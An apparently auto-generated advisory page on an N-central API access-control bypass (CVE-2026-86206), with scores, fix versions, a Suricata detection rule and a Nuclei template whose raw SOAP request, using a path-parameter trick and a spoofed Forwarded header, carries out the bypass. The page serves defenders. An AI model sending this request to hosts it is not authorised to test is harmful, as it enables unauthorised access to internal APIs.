CVE-2026-86206: Access control filter bypass allows unauthorised access to APIs

What it is

A vulnerability in the N-central internal API access control filter allows unauthorised access to internal APIs. This is fixed in N-central 2026.3 HF3 and 2026.4

Description quoted from the CVE record (assigned by N-able, published 2026-09-05).

Weakness: CWE-791 Incomplete filtering of special elements

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality low, integrity none, availability none. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Nuclei template and 5 code repositories naming this CVE.

• Nuclei template (ProjectDiscovery)

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 10 references on Exploit Observer

Live scores

EPSS

0.011
some chance of attack soon

VEDAS

0.986
strong exploit evidence

On CISA KEV

Not listed

Detection rule

Nuclei · Suricata

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Fixed versions stated in the CVE record: 2026.3.1.13.

Vendor guidance:

• https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm (release-notes)
• https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis (vendor-advisory)

How to detect it

Nuclei template (active check)

Nable - Authentication Bypass

A vulnerability in the N-central internal API access control filter allows unauthorised access to internal APIs. This is fixed in N-central 2026.3 HF3 and 2026.4

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /dms;/services/ServerUI); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2026-86206.yaml

id: CVE-2026-86206

info:
  name: "Nable - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A vulnerability in the N-central internal API access control filter allows unauthorised access to internal
    APIs. This is fixed in N-central 2026.3 HF3 and 2026.4
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-86206&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=nable&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-86206
    cwe-id: CWE-284
  metadata:
    verified: false
  tags: cve,cve2026,n-able,n-central,auth-bypass,acl-bypass,soap,vkev,nable
http:
  - raw:
      - |
        POST /dms;/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        Forwarded: for="127.0.0.\1"
        Content-Type: text/xml; charset=utf-8
        SOAPAction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
          <soapenv:Body>
            <ei:sessionHello>
              <ei:in0>3</ei:in0>
            </ei:sessionHello>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'SessionID')"
          - "contains(content_type, 'text/xml')"
        condition: and

      - type: dsl
        dsl:
          - "status_code == 500"
          - "contains(body, 'ServerDMS')"
          - "contains(content_type, 'text/xml')"
        condition: and

CVE-2026-86206.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-86206 Nable - Authentication Bypass. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-86206 Nable - Authentication Bypass"; flow:established,to_server; http.uri; content:"services"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-86206; reference:url,https://www.exploit.observer/?keyword=CVE-2026-86206&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=nable&match=exact; sid:1010434; rev:1;)

CVE-2026-86206.rules on GitHub

Advisories on this CVE

• N-able takes N-central offline after 33 alleged zero-days are published (Able2Shell) (full advisory)

References

Vendor advisories and patches

• https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm (release-notes)
• https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis (vendor-advisory)

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.